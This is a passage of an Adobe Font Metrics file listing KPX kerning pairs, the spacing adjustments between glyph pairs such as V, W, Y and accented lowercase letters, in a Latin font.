KPX V colon -40
KPX V comma -125
KPX V e -80
KPX V eacute -80
KPX V ecaron -80
KPX V ecircumflex -80
KPX V edieresis -80
KPX V edotaccent -80
KPX V egrave -80
KPX V emacron -80
KPX V eogonek -80
KPX V hyphen -80
KPX V o -80
KPX V oacute -80
KPX V ocircumflex -80
KPX V odieresis -80
KPX V ograve -80
KPX V ohungarumlaut -80
KPX V omacron -80
KPX V oslash -80
KPX V otilde -80
KPX V period -125
KPX V semicolon -40
KPX V u -70
KPX V uacute -70
KPX V ucircumflex -70
KPX V udieresis -70
KPX V ugrave -70
KPX V uhungarumlaut -70
KPX V umacron -70
KPX V uogonek -70
KPX V uring -70
KPX W A -50
KPX W Aacute -50
KPX W Abreve -50
KPX W Acircumflex -50
KPX W Adieresis -50
KPX W Agrave -50
KPX W Amacron -50
KPX W Aogonek -50
KPX W Aring -50
KPX W Atilde -50
KPX W O -20
KPX W Oacute -20
KPX W Ocircumflex -20
KPX W Odieresis -20
KPX W Ograve -20
KPX W Ohungarumlaut -20
KPX W Omacron -20
KPX W Oslash -20
KPX W Otilde -20
KPX W a -40
KPX W aacute -40
KPX W abreve -40
KPX W acircumflex -40
KPX W adieresis -40
KPX W agrave -40
KPX W amacron -40
KPX W aogonek -40
KPX W aring -40
KPX W atilde -40
KPX W comma -80
KPX W e -30
KPX W eacute -30
KPX W ecaron -30
KPX W ecircumflex -30
KPX W edieresis -30
KPX W edotaccent -30
KPX W egrave -30
KPX W emacron -30
KPX W eogonek -30
KPX W hyphen -40
KPX W o -30
KPX W oacute -30
KPX W ocircumflex -30
KPX W odieresis -30
KPX W ograve -30
KPX W ohungarumlaut -30
KPX W omacron -30
KPX W oslash -30
KPX W otilde -30
KPX W period -80
KPX W u -30
KPX W uacute -30
KPX W ucircumflex -30
KPX W udieresis -30
KPX W ugrave -30
KPX W uhungarumlaut -30
KPX W umacron -30
KPX W uogonek -30
KPX W uring -30
KPX W y -20
KPX W yacute -20
KPX W ydieresis -20
KPX Y A -110
KPX Y Aacute -110
KPX Y Abreve -110
KPX Y Acircumflex -110
KPX Y Adieresis -110
KPX Y Agrave -110
KPX Y Amacron -110
KPX Y Aogonek -110
KPX Y Aring -110
KPX Y Atilde -110
KPX Y O -85
KPX Y Oacute -85
KPX Y Ocircumflex -85
KPX Y Odieresis -85
KPX Y Ograve -85
KPX Y Ohungarumlaut -85
KPX Y Omacron -85
KPX Y Oslash -85
KPX Y Otilde -85
KPX Y a -140
KPX Y aacute -140
KPX Y abreve -70
KPX Y acircumflex -140
KPX Y adieresis -140
KPX Y agrave -140
KPX Y amacron -70
KPX Y aogonek -140
KPX Y aring -140
KPX Y atilde -140
KPX Y colon -60
KPX Y comma -140
KPX Y e -140
KPX Y eacute -140
KPX Y ecaron -140
KPX Y ecircumflex -140
KPX Y edieresis -140
KPX Y edotaccent -140
KPX Y egrave -140
KPX Y emacron -70
KPX Y eogonek -140
KPX Y hyphen -140
KPX Y i -20
KPX Y iacute -20
KPX Y iogonek -20
KPX Y o -140
KPX Y oacute -140
KPX Y ocircumflex -140
KPX Y odieresis -140
KPX Y ograve -140
KPX Y ohungarumlaut -140
KPX Y omacron -140
KPX Y oslash -140
KPX Y otilde -140
KPX Y period -140
KPX Y semicolon -60
KPX Y u -110
KPX Y uacute -110
KPX Y ucircumflex -110
KPX Y udieresis -110
KPX Y ugrave -110
KPX Y uhungarumlaut -110
KPX Y umacron -110
KPX Y uogonek -110
KPX Y uring -110
KPX Yacute A -110
KPX Yacute Aacute -110
KPX Yacute Abreve -110
KPX Yacute Acircumflex -110
KPX Yacute Adieresis -110
KPX Yacute Agrave -110
KPX Yacute Amacron -110
KPX Yacute Aogonek -110
KPX Yacute Aring -110
KPX Yacute Atilde -110
KPX Yacute O -85
KPX Yacute Oacute -85
KPX Yacute Ocircumflex -85
KPX Yacute Odieresis -85
KPX Yacute Ograve -85
KPX Yacute Ohungarumlaut -85
KPX Yacute Omacron -85
KPX Yacute Oslash -85
KPX Yacute Otilde -85
KPX Yacute a -140
KPX Yacute aacute -140
KPX Yacute abreve -70
KPX Yacute acircumflex -140
KPX Yacute adieresis -140
KPX Yacute agrave -140
KPX Yacute amacron -70
KPX Yacute aogonek -140
KPX Yacute aring -140
KPX Yacute atilde -70
KPX Yacute colon -60
KPX Yacute comma -140
KPX Yacute e -140
KPX Yacute eacute -140
KPX Yacute ecaron -140
KPX Yacute ecircumflex -140
KPX Yacute edieresis -140
KPX Yacute edotaccent -140
KPX Yacute egrave -140
KPX Yacute emacron -70
KPX Yacute eogonek -140
KPX Yacute hyphen -140
KPX Yacute i -20
KPX Yacute iacute -20
KPX Yacute iogonek -20
KPX Yacute o -140
KPX Yacute oacute -140
KPX Yacute ocircumflex -140
KPX Yacute odieresis -140
KPX Yacute ograve -140
KPX Yacute ohungarumlaut -140
KPX Yacute omacron -70
KPX Yacute oslash -140
KPX Yacute otilde -140
KPX Yacute period -140
KPX Yacute semicolon -60
KPX Yacute u -110
KPX Yacute uacute -110
KPX Yacute ucircumflex -110
KPX Yacute udieresis -110
KPX Yacute ugrave -110
KPX Yacute uhungarumlaut -110
KPX Yacute umacron -110
KPX Yacute uogonek -110
KPX Yacute uring -110
KPX Ydieresis A -110
KPX Ydieresis Aacute -110
KPX Ydieresis Abreve -110
KPX Ydieresis Acircumflex -110
KPX Ydieresis Adieresis -110
KPX Ydieresis Agrave -110
KPX Ydieresis Amacron -110
KPX Ydieresis Aogonek -110
KPX Ydieresis Aring -110
KPX Ydieresis Atilde -110
KPX Ydieresis O -85
KPX Ydieresis Oacute -85
KPX Ydieresis Ocircumflex -85
KPX Ydieresis Odieresis -85
KPX Ydieresis Ograve -85
KPX Ydieresis Ohungarumlaut -85
KPX Ydieresis Omacron -85
KPX Ydieresis Oslash -85
KPX Ydieresis Otilde -85
KPX Ydieresis a -140
KPX Ydieresis aacute -140
KPX Ydieresis abreve -70
KPX Ydieresis acircumflex -140
KPX Ydieresis adieresis -140
KPX Ydieresis agrave -140
KPX Ydieresis amacron -70
KPX Ydieresis aogonek -140
KPX Ydieresis aring -140
KPX Ydieresis atilde -70
KPX Ydieresis colon -60
KPX Ydieresis comma -140
KPX Ydieresis e -140
KPX Ydieresis eacute -140
KPX Ydieresis ecaron -140
KPX Ydieresis ecircumflex -140
KPX Ydieresis edieresis -140
KPX Ydieresis edotaccent -140
KPX Ydieresis egrave -140
KPX Ydieresis emacron -70
KPX Ydieresis eogonek -140
KPX Ydieresis hyphen -140
KPX Ydieresis i -20
KPX Ydieresis iacute -20
KPX Ydieresis iogonek -20
KPX Ydieresis o -140
KPX Ydieresis oacute -140
KPX Ydieresis ocircumflex -140
KPX Ydieresis odieresis -140
KPX Ydieresis ograve -140
KPX Ydieresis ohungarumlaut -140
KPX Ydieresis omacron -140
KPX Ydieresis oslash -140
KPX Ydieresis otilde -140
KPX Ydieresis period -140
KPX Ydieresis semicolon -60
KPX Ydieresis u -110
KPX Ydieresis uacute -110
KPX Ydieresis ucircumflex -110
KPX Ydieresis udieresis -110
KPX Ydieresis ugrave -110
KPX Ydieresis uhungarumlaut -110
KPX Ydieresis umacron -110
KPX Ydieresis uogonek -110
KPX Ydieresis uring -110
KPX a v -20
KPX a w -20
KPX a y -30
KPX a yacute -30
KPX a ydieresis -30
KPX aacute v -20
KPX aacute w -20
KPX aacute y -30
KPX aacute yacute -30
KPX aacute ydieresis -30
KPX abreve v -20
KPX abreve w -20
KPX abreve y -30
KPX abreve yacute -30
KPX abreve ydieresis -30
KPX acircumflex v -20
KPX acircumflex w -20
KPX acircumflex y -30
KPX acircumflex yacute -30
KPX acircumflex ydieresis -30
KPX adieresis v -20
KPX adieresis w -20
KPX adieresis y -30
KPX adieresis yacute -30
KPX adieresis ydieresis -30
KPX agrave v -20
KPX agrave w -20
KPX agrave y -30
KPX agrave yacute -30
KPX agrave ydieresis -30
KPX amacron v -20
KPX amacron w -20
KPX amacron y -30
KPX amacron yacute -30
KPX amacron ydieresis -30
KPX aogonek v -20
KPX aogonek w -20
KPX aogonek y -30
KPX aogonek yacute -30
KPX aogonek ydieresis -30
KPX aring v -20
KPX aring w -20
KPX aring y -30
KPX aring yacute -30
KPX aring ydieresis -30
KPX atilde v -20
KPX atilde w -20
KPX atilde y -30
KPX atilde yacute -30
KPX atilde ydieresis -30
KPX b b -10
KPX b comma -40
KPX b l -20
KPX b lacute -20
KPX b lcommaaccent -20
KPX b lslash -20
KPX b period -40
KPX b u -20
KPX b uacute -20
KPX b ucircumflex -20
KPX b udieresis -20
KPX b ugrave -20
KPX b uhungarumlaut -20
KPX b umacron -20
KPX b uogonek -20
KPX b uring -20
KPX b v -20
KPX b y -20
KPX b yacute -20
KPX b ydieresis -20
KPX c comma -15
KPX c k -20
KPX c kcommaaccent -20
KPX cacute comma -15
KPX cacute k -20
KPX cacute kcommaaccent -20
KPX ccaron comma -15
KPX ccaron k -20
KPX ccaron kcommaaccent -20
KPX ccedilla comma -15
KPX ccedilla k -20
KPX ccedilla kcommaaccent -20
KPX colon space -50
KPX comma quotedblright -100
KPX comma quoteright -100
KPX e comma -15
KPX e period -15
KPX e v -30
KPX e w -20
KPX e x -30
KPX e y -20
KPX e yacute -20
KPX e ydieresis -20
KPX eacute comma -15
KPX eacute period -15
KPX eacute v -30
KPX eacute w -20
KPX eacute x -30
KPX eacute y -20
KPX eacute yacute -20
KPX eacute ydieresis -20
KPX ecaron comma -15
KPX ecaron period -15
KPX ecaron v -30
KPX ecaron w -20
KPX ecaron x -30
KPX ecaron y -20
KPX ecaron yacute -20
KPX ecaron ydieresis -20
KPX ecircumflex comma -15
KPX ecircumflex period -15
KPX ecircumflex v -30
KPX ecircumflex w -20
KPX ecircumflex x -30
KPX ecircumflex y -20
KPX ecircumflex yacute -20
KPX ecircumflex ydieresis -20
KPX edieresis comma -15
KPX edieresis period -15
KPX edieresis v -30
KPX edieresis w -20
KPX edieresis x -30
KPX edieresis y -20
KPX edieresis yacute -20
KPX edieresis ydieresis -20
KPX edotaccent comma -15
KPX edotaccent period -15
KPX edotaccent v -30
KPX edotaccent w -20
KPX edotaccent x -30
KPX edotaccent y -20
KPX edotaccent yacute -20
KPX edotaccent ydieresis -20
KPX egrave comma -15
KPX egrave period -15
KPX egrave v -30
KPX egrave w -20
KPX egrave x -30
KPX egrave y -20
KPX egrave yacute -20
KPX egrave ydieresis -20
KPX emacron comma -15
KPX emacron period -15
KPX emacron v -30
KPX emacron w -20
KPX emacron x -30
KPX emacron y -20
KPX emacron yacute -20
KPX emacron ydieresis -20
KPX eogonek comma -15
KPX eogonek period -15
KPX eogonek v -30
KPX eogonek w -20
KPX eogonek x -30
KPX eogonek y -20
KPX eogonek yacute -20
KPX eogonek ydieresis -20
KPX f a -30
KPX f aacute -30
KPX f abreve -30
KPX f acircumflex -30
KPX f adieresis -30
KPX f agrave -30
KPX f amacron -30
KPX f aogonek -30
KPX f aring -30
KPX f atilde -30
KPX f comma -30
KPX f dotlessi -28
KPX f e -30
KPX f eacute -30
KPX f ecaron -30
KPX f ecircumflex -30
KPX f edieresis -30
KPX f edotaccent -30
KPX f egrave -30
KPX f emacron -30
KPX f eogonek -30
KPX f o -30
KPX f oacute -30
KPX f ocircumflex -30
KPX f odieresis -30
KPX f ograve -30
KPX f ohungarumlaut -30
KPX f omacron -30
KPX f oslash -30
KPX f otilde -30
KPX f period -30
KPX f quotedblright 60
KPX f quoteright 50
KPX g r -10
KPX g racute -10
KPX g rcaron -10
KPX g rcommaaccent -10
KPX gbreve r -10
KPX gbreve racute -10
KPX gbreve rcaron -10
KPX gbreve rcommaaccent -10
KPX gcommaaccent r -10
KPX gcommaaccent racute -10
KPX gcommaaccent rcaron -10
KPX gcommaaccent rcommaaccent -10
KPX h y -30
KPX h yacute -30
KPX h ydieresis -30
KPX k e -20
KPX k eacute -20
KPX k ecaron -20
KPX k ecircumflex -20
KPX k edieresis -20
KPX k edotaccent -20
KPX k egrave -20
KPX k emacron -20
KPX k eogonek -20
KPX k o -20
KPX k oacute -20
KPX k ocircumflex -20
KPX k odieresis -20
KPX k ograve -20
KPX k ohungarumlaut -20
KPX k omacron -20
KPX k oslash -20
KPX k otilde -20
KPX kcommaaccent e -20
KPX kcommaaccent eacute -20
KPX kcommaaccent ecaron -20
KPX kcommaaccent ecircumflex -20
KPX kcommaaccent edieresis -20
KPX kcommaaccent edotaccent -20
KPX kcommaaccent egrave -20
KPX kcommaaccent emacron -20
KPX kcommaaccent eogonek -20
KPX kcommaaccent o -20
KPX kcommaaccent oacute -20
KPX kcommaaccent ocircumflex -20
KPX kcommaaccent odieresis -20
KPX kcommaaccent ograve -20
KPX kcommaaccent ohungarumlaut -20
KPX kcommaaccent omacron -20
KPX kcommaaccent oslash -20
KPX kcommaaccent otilde -20
KPX m u -10
KPX m uacute -10
KPX m ucircumflex -10
KPX m udieresis -10
KPX m ugrave -10
KPX m uhungarumlaut -10
KPX m umacron -10
KPX m uogonek -10
KPX m uring -10
KPX m y -15
KPX m yacute -15
KPX m ydieresis -15
KPX n u -10
KPX n uacute -10
KPX n ucircumflex -10
KPX n udieresis -10
KPX n ugrave -10
KPX n uhungarumlaut -10
KPX n umacron -10
KPX n uogonek -10
KPX n uring -10
KPX n v -20
KPX n y -15
KPX n yacute -15
KPX n ydieresis -15
KPX nacute u -10
KPX nacute uacute -10
KPX nacute ucircumflex -10
KPX nacute udieresis -10
KPX nacute ugrave -10
KPX nacute uhungarumlaut -10
KPX nacute umacron -10
KPX nacute uogonek -10
KPX nacute uring -10
KPX nacute v -20
KPX nacute y -15
KPX nacute yacute -15
KPX nacute ydieresis -15
KPX ncaron u -10
KPX ncaron uacute -10
KPX ncaron ucircumflex -10
KPX ncaron udieresis -10
KPX ncaron ugrave -10
KPX ncaron uhungarumlaut -10
KPX ncaron umacron -10
KPX ncaron uogonek -10
KPX ncaron uring -10
KPX ncaron v -20
KPX ncaron y -15
KPX ncaron yacute -15
KPX ncaron ydieresis -15
KPX ncommaaccent u -10
KPX ncommaaccent uacute -10
KPX ncommaaccent ucircumflex -10
KPX ncommaaccent udieresis -10
KPX ncommaaccent ugrave -10
KPX ncommaaccent uhungarumlaut -10
KPX ncommaaccent umacron -10
KPX ncommaaccent uogonek -10
KPX ncommaaccent uring -10
KPX ncommaaccent v -20
KPX ncommaaccent y -15
KPX ncommaaccent yacute -15
KPX ncommaaccent ydieresis -15
KPX ntilde u -10
KPX ntilde uacute -10
KPX ntilde ucircumflex -10
KPX ntilde udieresis -10
KPX ntilde ugrave -10
KPX ntilde uhungarumlaut -10
KPX ntilde umacron -10
KPX ntilde uogonek -10
KPX ntilde uring -10
KPX ntilde v -20
KPX ntilde y -15
KPX ntilde yacute -15
KPX ntilde ydieresis -15
KPX o comma -40
KPX o period -40
KPX o v -15
KPX o w -15
KPX o x -30
KPX o y -30
KPX o yacute -30
KPX o ydieresis -30
KPX oacute comma -40
KPX oacute period -40
KPX oacute v -15
KPX oacute w -15
KPX oacute x -30
KPX oacute y -30
KPX oacute yacute -30
KPX oacute ydieresis -30
KPX ocircumflex comma -40
KPX ocircumflex period -40
KPX ocircumflex v -15
KPX ocircumflex w -15
KPX ocircumflex x -30
KPX ocircumflex y -30
KPX ocircumflex yacute -30
KPX ocircumflex ydieresis -30
KPX odieresis comma -40
KPX odieresis period -40
KPX odieresis v -15
KPX odieresis w -15
KPX odieresis x -30
KPX odieresis y -30
KPX odieresis yacute -30
KPX odieresis ydieresis -30
KPX ograve comma -40
KPX ograve period -40
KPX ograve v -15
KPX ograve w -15
KPX ograve x -30
KPX ograve y -30
KPX ograve yacute -30
KPX ograve ydieresis -30
KPX ohungarumlaut comma -40
KPX ohungarumlaut period -40
KPX ohungarumlaut v -15
KPX ohungarumlaut w -15
KPX ohungarumlaut x -30
KPX ohungarumlaut y -30
KPX ohungarumlaut yacute -30
KPX ohungarumlaut ydieresis -30
KPX omacron comma -40
KPX omacron period -40
KPX omacron v -15
KPX omacron w -15
KPX omacron x -30
KPX omacron y -30
KPX omacron yacute -30
KPX omacron ydieresis -30
KPX oslash a -55
KPX oslash aacute -55
KPX oslash abreve -55
KPX oslash acircumflex -55
KPX oslash adieresis -55
KPX oslash agrave -55
KPX oslash amacron -55
KPX oslash aogonek -55
KPX oslash aring -55
KPX oslash atilde -55
KPX oslash b -55
KPX oslash c -55
KPX oslash cacute -55
KPX oslash ccaron -55
KPX oslash ccedilla -55
KPX oslash comma -95
KPX oslash d -55
KPX oslash dcroat -55
KPX oslash e -55
KPX oslash eacute -55
KPX oslash ecaron -55
KPX oslash ecircumflex -55
KPX oslash edieresis -55
KPX oslash edotaccent -55
KPX oslash egrave -55
KPX oslash emacron -55
KPX oslash eogonek -55
KPX oslash f -55
KPX oslash g -55
KPX oslash gbreve -55
KPX oslash gcommaaccent -55
KPX oslash h -55
KPX oslash i -55
KPX oslash iacute -55
KPX oslash icircumflex -55
KPX oslash idieresis -55
KPX oslash igrave -55
KPX oslash imacron -55
KPX oslash iogonek -55
KPX oslash j -55
KPX oslash k -55
KPX oslash kcommaaccent -55
KPX oslash l -55
KPX oslash lacute -55
KPX oslash lcommaaccent -55
KPX oslash lslash -55
KPX oslash m -55
KPX oslash n -55
KPX oslash nacute -55
KPX oslash ncaron -55
KPX oslash ncommaaccent -55
KPX oslash ntilde -55
KPX oslash o -55
KPX oslash oacute -55
KPX oslash ocircumflex -55
KPX oslash odieresis -55
KPX oslash ograve -55
KPX oslash ohungarumlaut -55
KPX oslash omacron -55
KPX oslash oslash -55
KPX oslash otilde -55
KPX oslash p -55
KPX oslash period -95
KPX oslash q -55
KPX oslash r -55
KPX oslash racute -55
KPX oslash rcaron -55
KPX oslash rcommaaccent -55
KPX oslash s -55
KPX oslash sacute -55
KPX oslash scaron -55
KPX oslash scedilla -55
KPX oslash scommaaccent -55
KPX oslash t -55
KPX oslash tcommaaccent -55
KPX oslash u -55
KPX oslash uacute -55
KPX oslash ucircumflex -55
KPX oslash udieresis -55
KPX oslash ugrave -55
KPX oslash uhungarumlaut -55
KPX oslash umacron -55
KPX oslash uogonek -55
KPX oslash uring -55
KPX oslash v -70
KPX oslash w -70
KPX oslash x -85
KPX oslash y -70
KPX oslash yacute -70
KPX oslash ydieresis -70
KPX oslash z -55
KPX oslash zacute -55
KPX oslash zcaron -55
KPX oslash zdotaccent -55
KPX otilde comma -40
KPX otilde period -40
KPX otilde v -15
KPX otilde w -15
KPX otilde x -30
KPX otilde y -30
KPX otilde yacute -30
KPX otilde ydieresis -30
KPX p comma -35
KPX p period -35
KPX p y -30
KPX p yacute -30
KPX p ydieresis -30
KPX period quotedblright -100
KPX period quoteright -100
KPX period space -60
KPX quotedblright space -40
KPX quoteleft quoteleft -57
KPX quoteright d -50
KPX quoteright dcroat -50
KPX quoteright quoteright -57
KPX quoteright r -50
KPX quoteright racute -50
KPX quoteright rcaron -50
KPX quoteright rcommaaccent -50
KPX quoteright s -50
KPX quoteright sacute -50
KPX quoteright scaron -50
KPX quoteright scedilla -50
KPX quoteright scommaaccent -50
KPX quoteright space -70
KPX r a -10
KPX r aacute -10
KPX r abreve -10
KPX r acircumflex -10
KPX r adieresis -10
KPX r agrave -10
KPX r amacron -10
KPX r aogonek -10
KPX r aring -10
KPX r atilde -10
KPX r colon 30
KPX r comma -50
KPX r i 15
KPX r iacute 15
KPX r icircumflex 15
KPX r idieresis 15
KPX r igrave 15
KPX r imacron 15
KPX r iogonek 15
KPX r k 15
KPX r kcommaaccent 15
KPX r l 15
KPX r lacute 15
KPX r lcommaaccent 15
KPX r lslash 15
KPX r m 25
KPX r n 25
KPX r nacute 25
KPX r ncaron 25
KPX r ncommaaccent 25
KPX r ntilde 25
KPX r p 30
KPX r period -50
KPX r semicolon 30
KPX r t 40
KPX r tcommaaccent 40
KPX r u 15
KPX r uacute 15
KPX r ucircumflex 15
KPX r udieresis 15
KPX r ugrave 15
KPX r uhungarumlaut 15
KPX r umacron 15
KPX r uogonek 15
KPX r uring 15
KPX r v 30
KPX r y 30
KPX r yacute 30
KPX r ydieresis 30
KPX racute a -10
KPX racute aacute -10
KPX racute abreve -10
KPX racute acircumflex -10
KPX racute adieresis -10
KPX racute agrave -10
KPX racute amacron -10
KPX racute aogonek -10
KPX racute aring -10
KPX racute atilde -10
KPX racute colon 30
KPX racute comma -50
KPX racute i 15
KPX racute iacute 15
KPX racute icircumflex 15
KPX racute idieresis 15
KPX racute igrave 15
KPX racute imacron 15
KPX racute iogonek 15
KPX racute k 15
KPX racute kcommaaccent 15
KPX racute l 15
KPX racute lacute 15
KPX racute lcommaaccent 15
KPX racute lslash 15
KPX racute m 25
KPX racute n 25
KPX racute nacute 25
KPX racute ncaron 25
KPX racute ncommaaccent 25
KPX racute ntilde 25
KPX racute p 30
KPX racute period -50
KPX racute semicolon 30
KPX racute t 40
KPX racute tcommaaccent 40
KPX racute u 15
KPX racute uacute 15
KPX racute ucircumflex 15
KPX racute udieresis 15
KPX racute ugrave 15
KPX racute uhungarumlaut 15
KPX racute umacron 15
KPX racute uogonek 15
KPX racute uring 15
KPX racute v 30
KPX racute y 30
KPX racute yacute 30
KPX racute ydieresis 30
KPX rcaron a -10
KPX rcaron aacute -10
KPX rcaron abreve -10
KPX rcaron acircumflex -10
KPX rcaron adieresis -10
KPX rcaron agrave -10
KPX rcaron amacron -10
KPX rcaron aogonek -10
KPX rcaron aring -10
KPX rcaron atilde -10
KPX rcaron colon 30
KPX rcaron comma -50
KPX rcaron i 15
KPX rcaron iacute 15
KPX rcaron icircumflex 15
KPX rcaron idieresis 15
KPX rcaron igrave 15
KPX rcaron imacron 15
KPX rcaron iogonek 15
KPX rcaron k 15
KPX rcaron kcommaaccent 15
KPX rcaron l 15
KPX rcaron lacute 15
KPX rcaron lcommaaccent 15
KPX rcaron lslash 15
KPX rcaron m 25
KPX rcaron n 25
KPX rcaron nacute 25
KPX rcaron ncaron 25
KPX rcaron ncommaaccent 25
KPX rcaron ntilde 25
KPX rcaron p 30
KPX rcaron period -50
KPX rcaron semicolon 30
KPX rcaron t 40
KPX rcaron tcommaaccent 40
KPX rcaron u 15
KPX rcaron uacute 15
KPX rcaron ucircumflex 15
KPX rcaron udieresis 15
KPX rcaron ugrave 15
KPX rcaron uhungarumlaut 15
KPX rcaron umacron 15
KPX rcaron uogonek 15
KPX rcaron uring 15
KPX rcaron v 30
KPX rcaron y 30
KPX rcaron yacute 30
KPX rcaron ydieresis 30
KPX rcommaaccent a -10
KPX rcommaaccent aacute -10
KPX rcommaaccent abreve -10
KPX rcommaaccent acircumflex -10
KPX rcommaaccent adieresis -10
KPX rcommaaccent agrave -10
KPX rcommaaccent amacron -10
KPX rcommaaccent aogonek -10
KPX rcommaaccent aring -10
KPX rcommaaccent atilde -10
KPX rcommaaccent colon 30
KPX rcommaaccent comma -50
KPX rcommaaccent i 15
KPX rcommaaccent iacute 15
KPX rcommaaccent icircumflex 15
KPX rcommaaccent idieresis 15
KPX rcommaaccent igrave 15
KPX rcommaaccent imacron 15
KPX rcommaaccent iogonek 15
KPX rcommaaccent k 15
KPX rcommaaccent kcommaaccent 15
KPX rcommaaccent l 15
KPX rcommaaccent lacute 15
KPX rcommaaccent lcommaaccent 15
KPX rcommaaccent lslash 15
KPX rcommaaccent m 25
KPX rcommaaccent n 25
KPX rcommaaccent nacute 25
KPX rcommaaccent ncaron 25
KPX rcommaaccent ncommaaccent 25
KPX rcommaaccent ntilde 25
KPX rcommaaccent p 30
KPX rcommaaccent period -50
KPX rcommaaccent semicolon 30
KPX rcommaaccent t 40
KPX rcommaaccent tcommaaccent 40
KPX rcommaaccent u 15
KPX rcommaaccent uacute 15
KPX rcommaaccent ucircumflex 15
KPX rcommaaccent udieresis 15
KPX rcommaaccent ugrave 15
KPX rcommaaccent uhungarumlaut 15
KPX rcommaaccent umacron 15
KPX rcommaaccent uogonek 15
KPX rcommaaccent uring 15
KPX rcommaaccent v 30
KPX rcommaaccent y 30
KPX rcommaaccent yacute 30
KPX rcommaaccent ydieresis 30
KPX s comma -15
KPX s period -15
KPX s w -30
KPX sacute comma -15
KPX sacute period -15
KPX sacute w -30
KPX scaron comma -15
KPX scaron period -15
KPX scaron w -30
KPX scedilla comma -15
KPX scedilla period -15
KPX scedilla w -30
KPX scommaaccent comma -15
KPX scommaaccent period -15
KPX scommaaccent w -30
KPX semicolon space -50
KPX space T -50
KPX space Tcaron -50
KPX space Tcommaaccent -50
KPX space V -50
KPX space W -40
KPX space Y -90
KPX space Yacute -90
KPX space Ydieresis -90
KPX space quotedblleft -30
KPX space quoteleft -60
KPX v a -25
KPX v aacute -25
KPX v abreve -25
KPX v acircumflex -25
KPX v adieresis -25
KPX v agrave -25
KPX v amacron -25
KPX v aogonek -25
KPX v aring -25
KPX v atilde -25
KPX v comma -80
KPX v e -25
KPX v eacute -25
KPX v ecaron -25
KPX v ecircumflex -25
KPX v edieresis -25
KPX v edotaccent -25
KPX v egrave -25
KPX v emacron -25
KPX v eogonek -25
KPX v o -25
KPX v oacute -25
KPX v ocircumflex -25
KPX v odieresis -25
KPX v ograve -25
KPX v ohungarumlaut -25
KPX v omacron -25
KPX v oslash -25
KPX v otilde -25
KPX v period -80
KPX w a -15
KPX w aacute -15
KPX w abreve -15
KPX w acircumflex -15
KPX w adieresis -15
KPX w agrave -15
KPX w amacron -15
KPX w aogonek -15
KPX w aring -15
KPX w atilde -15
KPX w comma -60
KPX w e -10
KPX w eacute -10
KPX w ecaron -10
KPX w ecircumflex -10
KPX w edieresis -10
KPX w edotaccent -10
KPX w egrave -10
KPX w emacron -10
KPX w eogonek -10
KPX w o -10
KPX w oacute -10
KPX w ocircumflex -10
KPX w odieresis -10
KPX w ograve -10
KPX w ohungarumlaut -10
KPX w omacron -10
KPX w oslash -10
KPX w otilde -10
KPX w period -60
KPX x e -30
KPX x eacute -30
KPX x ecaron -30
KPX x ecircumflex -30
KPX x edieresis -30
KPX x edotaccent -30
KPX x egrave -30
KPX x emacron -30
KPX x eogonek -30
KPX y a -20
KPX y aacute -20
KPX y abreve -20
KPX y acircumflex -20
KPX y adieresis -20
KPX y agrave -20
KPX y amacron -20
KPX y aogonek -20
KPX y aring -20
KPX y atilde -20
KPX y comma -100
KPX y e -20
KPX y eacute -20
KPX y ecaron -20
KPX y ecircumflex -20
KPX y edieresis -20
KPX y edotaccent -20
KPX y egrave -20
KPX y emacron -20
KPX y eogonek -20
KPX y o -20
KPX y oacute -20
KPX y ocircumflex -20
KPX y odieresis -20
KPX y ograve -20
KPX y ohungarumlaut -20
KPX y omacron -20
KPX y oslash -20
KPX y otilde -20
KPX y period -100
KPX yacute a -20
KPX yacute aacute -20
KPX yacute abreve -20
KPX yacute acircumflex -20
KPX yacute adieresis -20
KPX yacute agrave -20
KPX yacute amacron -20
KPX yacute aogonek -20
KPX yacute aring -20
KPX yacute atilde -20
KPX yacute comma -100
KPX yacute e -20
KPX yacute eacute -20
KPX yacute ecaron -20
KPX yacute ecircumflex -20
KPX yacute edieresis -20
KPX yacute edotaccent -20
KPX yacute egrave -20
KPX yacute emacron -20
KPX yacute eogonek -20
KPX yacute o -20
KPX yacute oacute -20
KPX yacute ocircumflex -20
KPX yacute odieresis -20
KPX yacute ograve -20
KPX yacute ohungarumlaut -20
KPX yacute omacron -20
KPX yacute oslash -20
KPX yacute otilde -20
KPX yacute period -100
KPX ydieresis a -20
KPX ydieresis aacute -20
KPX ydieresis abreve -20
KPX ydieresis acircumflex -20
KPX ydieresis adieresis -20
KPX ydieresis agrave -20
KPX ydieresis amacron -20
KPX ydieresis aogonek -20
KPX ydieresis aring -20
KPX ydieresis atilde -20
KPX ydieresis comma -100
KPX ydieresis e -20
KPX ydieresis eacute -20
KPX ydieresis ecaron -20
KPX ydieresis ecircumflex -20
KPX ydieresis edieresis -20
KPX ydieresis edotaccent -20
KPX ydieresis egrave -20
KPX ydieresis emacron -20
KPX ydieresis eogonek -20
KPX ydieresis o -20
KPX ydieresis oacute -20
KPX ydieresis ocircumflex -20
KPX ydieresis odieresis -20
KPX ydieresis ograve -20
KPX ydieresis ohungarumlaut -20
KPX ydieresis omacron -20
KPX ydieresis oslash -20
KPX ydieresis otilde -20
KPX ydieresis period -100
KPX z e -15
KPX z eacute -15
KPX z ecaron -15
KPX z ecircumflex -15
KPX z edieresis -15
KPX z edotaccent -15
KPX z egrave -15
KPX z emacron -15
KPX z eogonek -15
KPX z o -15
KPX z oacute -15
KPX z ocircumflex -15
KPX z odieresis -15
KPX z ograve -15
KPX z ohungarumlaut -15
KPX z omacron -15
KPX z oslash -15
KPX z otilde -15
KPX zacute e -15
KPX zacute eacute -15
KPX zacute ecaron -15
KPX zacute ecircumflex -15
KPX zacute edieresis -15
KPX zacute edotaccent -15
KPX zacute egrave -15
KPX zacute emacron -15
KPX zacute eogonek -15
KPX zacute o -15
KPX zacute oacute -15
KPX zacute ocircumflex -15
KPX zacute odieresis -15
KPX zacute ograve -15
KPX zacute ohungarumlaut -15
KPX zacute omacron -15
KPX zacute oslash -15
KPX zacute otilde -15
KPX zcaron e -15
KPX zcaron eacute -15
KPX zcaron ecaron -15
KPX zcaron ecircumflex -15
KPX zcaron edieresis -15
KPX zcaron edotaccent -15
KPX zcaron egrave -15
KPX zcaron emacron -15
KPX zcaron eogonek -15
KPX zcaron o -15
KPX zcaron oacute -15
KPX zcaron ocircumflex -15
KPX zcaron odieresis -15
KPX zcaron ograve -15
KPX zcaron ohungarumlaut -15
KPX zcaron omacron -15
KPX zcaron oslash -15
KPX zcaron otilde -15
KPX zdotaccent e -15
KPX zdotaccent eacute -15
KPX zdotaccent ecaron -15
KPX zdotaccent ecircumflex -15
KPX zdotaccent edieresis -15
KPX zdotaccent edotaccent -15
